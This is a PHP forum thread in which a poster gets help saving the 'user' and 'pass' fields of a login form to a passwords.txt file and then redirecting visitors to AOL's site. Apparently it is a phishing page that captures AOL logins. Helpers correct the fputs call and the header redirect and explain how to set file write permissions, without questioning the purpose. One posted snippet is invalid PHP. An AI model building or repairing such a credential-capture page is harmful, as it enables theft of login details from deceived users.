$fp=fopen("passwords.txt", "a"); fputs($fp, $user, $pass); fclose($fp);
That did not work.
On the first page i have 2 inputs one named user and one named pass.. Any ideas?
Did you get a file permission error ?
if i dont' use a variable and i just do "whatever" it will write to the file.
but, when i use variables it does not work..
Any idea?
Depending on your setup, you may have to use $HTTP_POST_VARS
is it really that hard to write 2 inputs to a file?
Oops, I overlooked a glaring error ...
fputs() only takes two arguments
Try concatentating your variables before the fputs()
$data = $user.$pass; $fp=fopen("passwords.txt", "a"); fputs($fp, $data); fclose($fp);
<?php header("Location: http://www.aol.com/"); ?> <?php
$data = $user,$pass; $fp=fopen("passwords.txt", "a"); fputs($fp, $data); fclose($fp);
?>
What about that header.. It doens't seem to want to work...?
Nothing wrong with that header, provided there is no output before it.
I'm trying to do what the code snippet does - I am getting permission errors when I try to fopen the file - how do I determine what permissions I need and make sure that they are set appropriately?
thanks in advance,
mary
If you are using PHP as an apache mod, you will need to set the file to be writable by the apache user (usually, nobody or apache).
If you have shell access, just chmod the file to give owner write perms. Some FTP clients will allow you to set file perms as well.
Perms are set as 644 and are owned by user webmaster/group webmaster....
How do I tell if php3 is running as an apache mod?? How else would it /could it be running?
THANKS!!
PHP could be running as a binary installation. You should ask your admin how it is setup. If it is indeed an apache mod, you will need to set write perms on the file in question for the apache user (usually nobody or apache).